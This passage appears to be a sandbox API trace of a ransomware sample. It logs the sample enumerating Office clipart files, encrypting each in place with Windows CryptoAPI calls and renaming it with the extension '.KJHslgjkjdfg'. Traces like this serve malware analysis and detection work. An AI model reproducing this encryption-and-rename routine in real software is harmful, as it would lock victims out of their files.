lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.015] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.015] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.015] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.015] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.015] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.016] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.016] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3d24, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3d24, lpOverlapped=0x0) returned 1 [0201.017] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d30, dwBufLen=0x3d30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d30) returned 1 [0201.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.017] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d30, lpOverlapped=0x0) returned 1 [0201.017] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.017] SetEndOfFile (hFile=0x130) returned 1 [0201.020] GetProcessHeap () returned 0x990000 [0201.020] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.020] GetProcessHeap () returned 0x990000 [0201.020] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf.kjhslgjkjdfg")) returned 1 [0201.022] CloseHandle (hObject=0x130) returned 1 [0201.022] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4236, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297725.WMF", cAlternateFileName="")) returned 1 [0201.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.024] GetProcessHeap () returned 0x990000 [0201.024] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.024] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.024] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0201.027] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.027] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.027] GetProcessHeap () returned 0x990000 [0201.027] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.027] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.027] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.027] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.027] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.027] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.027] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.027] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.028] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.028] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.028] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.028] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4236, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4236, lpOverlapped=0x0) returned 1 [0201.029] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4240, dwBufLen=0x4240 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4240) returned 1 [0201.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.029] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4240, lpOverlapped=0x0) returned 1 [0201.029] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.030] SetEndOfFile (hFile=0x130) returned 1 [0201.032] GetProcessHeap () returned 0x990000 [0201.033] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.033] GetProcessHeap () returned 0x990000 [0201.033] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf.kjhslgjkjdfg")) returned 1 [0201.034] CloseHandle (hObject=0x130) returned 1 [0201.034] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297727.WMF", cAlternateFileName="")) returned 1 [0201.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.035] GetProcessHeap () returned 0x990000 [0201.035] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.035] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.035] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.035] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.037] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.037] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.037] GetProcessHeap () returned 0x990000 [0201.037] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.037] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.037] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.037] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.037] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.038] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.038] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.038] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.038] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.038] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.038] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c9c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c9c, lpOverlapped=0x0) returned 1 [0201.039] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ca0, dwBufLen=0x3ca0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ca0) returned 1 [0201.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.039] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ca0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ca0, lpOverlapped=0x0) returned 1 [0201.039] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.039] SetEndOfFile (hFile=0x130) returned 1 [0201.041] GetProcessHeap () returned 0x990000 [0201.041] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.041] GetProcessHeap () returned 0x990000 [0201.041] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf.kjhslgjkjdfg")) returned 1 [0201.042] CloseHandle (hObject=0x130) returned 1 [0201.042] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x493e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297757.WMF", cAlternateFileName="")) returned 1 [0201.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.044] GetProcessHeap () returned 0x990000 [0201.044] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.044] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.045] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0201.047] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.047] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.047] GetProcessHeap () returned 0x990000 [0201.047] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.047] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.047] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.047] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.047] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.048] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.048] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.048] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.048] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.048] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.048] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x493e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x493e, lpOverlapped=0x0) returned 1 [0201.049] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4940, dwBufLen=0x4940 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4940) returned 1 [0201.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.050] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4940, lpOverlapped=0x0) returned 1 [0201.050] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.050] SetEndOfFile (hFile=0x130) returned 1 [0201.053] GetProcessHeap () returned 0x990000 [0201.053] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.053] GetProcessHeap () returned 0x990000 [0201.053] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf.kjhslgjkjdfg")) returned 1 [0201.055] CloseHandle (hObject=0x130) returned 1 [0201.055] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4960, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297759.WMF", cAlternateFileName="")) returned 1 [0201.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.057] GetProcessHeap () returned 0x990000 [0201.057] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.057] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.057] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.057] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.057] GetProcessHeap () returned 0x990000 [0201.057] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.057] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.057] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.057] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.060] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.060] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.060] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.060] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.060] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.061] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.061] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.061] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4960, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4960, lpOverlapped=0x0) returned 1 [0201.062] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, 